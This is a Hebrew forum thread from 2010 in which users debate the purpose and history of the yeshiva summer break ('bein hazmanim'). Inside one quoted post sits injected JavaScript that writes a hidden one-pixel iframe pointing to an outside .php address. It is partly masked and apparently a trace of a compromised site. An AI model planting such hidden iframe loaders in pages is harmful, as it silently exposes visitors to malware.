| נשלח ב-25/7/2010 03:37 |
|
| |
בין הזמנים
הייתי שמח לשמוע את דעת הציבור על המטרה של בין הזמנים מבחינה תורנית וההבדל בין הפורקן החילוני לדתי.
|
|
|
|
| נשלח ב-25/7/2010 03:41 |
|
| |
למנהל. כדאי להעביר את האשכול בין הזמנים לפורום הכללי זה לא קשור לדת ואמונה
|
|
|
|
| נשלח ב-25/7/2010 17:19 |
|
| |
עי׳ במהרש״א מש״כ בזה במס׳ שבת בענין טיולי הבחורים בביה״ז
|
|
|
|
| נשלח ב-25/7/2010 17:29 |
|
| |
עץחיים החושבים בפורום אינם נחים לרגע מחשיבתם וכדברי הרמב"ם הידועים על החכמים שבלי חוכמה אין חייהם חיים, ולכן המושג בין הזמנים אינו מוכר כאן.
תוקן על ידי בעלבעמיו ב- 25/07/2010 17:29:46
|
|
|
|
| נשלח ב-25/7/2010 21:00 |
|
| |
התכוונתי מה דעת החושבים
האם צריך לבטל/ להגביל וכדו׳ את זמן הפורקן הזה
|
|
|
|
|
| נשלח ב-25/7/2010 21:48 |
|
| |
אני לא בטוח שכאן הפורום הנכון, אך אולי יש להבחין בין תלמידים צעירים שזקוקים לחופש לעומת אברכים שהלימוד אמור להיות בשבילם תחליף לעבודה.
|
|
|
|
| נשלח ב-25/7/2010 22:48 |
|
| |
בעל גם לרמב"ם יש מקום לחופש (פיהמ"ש על מסכת אבות), אומנם כשיש "מרה שחורה".
הלימוד זכות הוא, שבישיבות אתה לא יכול להפסיק באמצע הזמן וללכת ולהסתכל בבנינים הנאים ובבריות הנאות וכו'. לכן אוצרים ומנתבים את כל המרה למשבר סוף זמן, וזה מתיר את בין הזמנים. ועוד י"ל, שמקדימים רפואה למכה וד"ל.
חוץ מזה, האם לדעתך כשלרמב"ם היתה "מרה שחורה" הוא הלך לציר את המושכלות ולדעת את האמיתות? (טכנית, כמובן לגבי חלקים גדולים מהחיים שלו לא היה לו יותר מדי זמן). מ"מ נראה לי שגם אם בשונה מהאדם הממוצע כשה"חושבים" עצובים הם עוצרים וחושבים. גם הם לעיתים נזקקים למנוחה במובן הנפוץ.
|
|
|
|
| נשלח ב-26/7/2010 00:48 |
|
| |
עץ חיים
ברוך הבא אל הפורום.
כפי שאיבחנת, האשכול אינו בדיוק מתאים לפורום.
כמו כן, ככותב חדש, היה עליך לקבל רשות לפתיחת אשכול. כלומר, היה עליך לשלוח אלי את הנוסח ורק אם יאושר היית יכול לפרסמו.
עם זאת, יתכן שיימצא טעם באשכול. אפשר לדון בהיסטוריה של "בין הזמנים". אפשר לדון בתועלת שבו (פסיכולוגית? חברתית?) ובחסרונותיו.
לי אין כל כך מה לומר בנושא. אבל נשאיר זאת ליום יומיים. אם יהיה דיון האשכול יוכל להתקיים. אם לא, אולי נמחוק ואולי נשאיר לעתיד. הנושא כשלעצמו יכול להיות מעניין אם יימצא לו פיתוח.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
>
|
|
|
|
| נשלח ב-26/7/2010 01:07 |
|
| |
אנו אמורים לדון בנפ"מ של האשכול גם לעצכח, כדי למנוע את טירחת המחיקה, או שיש עוד סבה?
|
|
|
|
| נשלח ב-26/7/2010 02:07 |
|
| |
ואמאי
למחוק זה לא כל כך קשה (עמל של שלוש דקות בערך).
לעומת זה, טרחה של אדם שפתח אשכול, גם אם בניגוד לתקנות (שכמסתבר לא ידע מהן, אם גם היה עליו לקרוא אותן...) - האם לא חבל עליה? במיוחד שזה כן נושא.
לדוגמא:
א. מה היה סדר הלימוד מצד חלוקת השנה בישיבות?
התשובה יכולה להתחיל בישיבות בבל. בזמנים שהיו מיועדים ללימוד. ולהמשיך בסקירה על זמני הלימוד בישיבות לדורותיהן.
ב. מתי הופיעה תופעת "בין הזמנים". היכן?
ג. מדובר בסך הכל בתופעה סוציולוגית. מה היו גורמיה? מה התועלת ש"בין הזמנים".
ד. מהיכן המונח עצמו? כמדומה שהשימוש הלשוני מצביע על מקורו (וגם הביטוי המלעילי במקום מלרעי, אם לא הפכתי את השמות).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
>
|
|
|
|
| נשלח ב-26/7/2010 07:09 |
|
| |
מיימוני, אכן שלחתי בקשה לעצכח וגם לך אלא שמשום מה אליך זה לא הגיע. אני דוקא אוהב דיונים מעמיקים אך כמו שכתבתם אפשר להפוך את זה ללדיון משמעותי. ואבקש שלאחר מעשה האשכול ישאר לפחות לתחילת ביה״ז. ואשתדל שאפשרי יכתוב כאן.
אגב בקשר להסטוריה ציינתי מהרשא בשבת אולי מישהו יכול לצטט אותו
פשוט לא מצאתי.
|
|
|
|
| נשלח ב-26/7/2010 07:49 |
|
| |
כמדומני שפרופ' ברויאר בספרו 'באהלי תורה' דן בתופעת בין הזמנים. כאדם עטבד אני חייב להודות שאני מרגיש צביטה קלה בלב בתחילת כל בין הזמנים.
|
|
|
|
| נשלח ב-26/7/2010 10:16 |
|
| |
| מיימוני כתב: |  | | הביטוי המלעילי במקום מלרעי, אם לא הפכתי את השמות). ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
> |
|
לא הפכת, אע"פ שאומרים שהצרפתים רגילים לדבר רק במלרע, אע"פ שהם לא כזה עם רע..
|
|
|
|
| נשלח ב-26/7/2010 10:31 |
|
| |
אני חושב שלא כל דבר שייך לתורה ודת, כך נהגו, בהתחלה יחידים היום כל המוסדות בעולם,
התורה עצמה דאגה כבר לחופשים, שבת וחגים באביב וסתיו ולמה בחג שבועות אין ? כי כנראה פעם לא חשבו להתבטל באמצע הזמן,
1, מצד העבודה, 2, מצד שלא נוח, בקיץ חם בחורף קר,
ואם בדורינו חושבים שכן צריך באמצע הזמן, מה הבעיה ?
|
|
|
|
| נשלח ב-26/7/2010 11:12 |
|
| |
פעם שמעתי סיפור, שבמלחמת יום הכיפורים בישיבת פוניבז'. הורה ראש הישיבה הרב דוד פוברסקי לבטל את חופשת סוכות, ושימשיכו ממוצאי יום הכיפורים ללמוד הלאה. והרב שך (ראש הישיבה השני) אמר שכן יהיה בין הזמנים, ושכל בחור עם לב ומצפון יעשה לעצמו זמן פרטי ברצינות גדולה. בסוף קבלו את דעת הרב פוברסקי. אבל הזמן נגמר בתחילת החורף ונהיה בין הזמנים עד אחרי פסח. זאת אומרת שאם מושכים את הקפיץ יותר מדי (גם אם יש סיבה חשובה מאוד לזה) אחרי זה לוקח הרבה לתקן את זה.
לבעל בעמיו
אני מבין מאוד את הצביטת לב שלך. והרב שך עצמו רצה כמה פעמים לקצר את הבין הזמנים של אב לשבוע אחד אחרי תשעה באב. חבל שהוא לא הצליח.
|
|
|
|
| נשלח ב-26/7/2010 11:12 |
|
| |
| מיימוני כתב: |  | (וגם הביטוי המלעילי במקום מלרעי, אם לא הפכתי את השמות).
|
|
כדי להימנע מטעות, סיגלתי לעצמי להגות תמיד את "מלעיל" במלעיל, ואת "מלרע" במלרע. מקוה שהובנתי.
|
|
|
|
|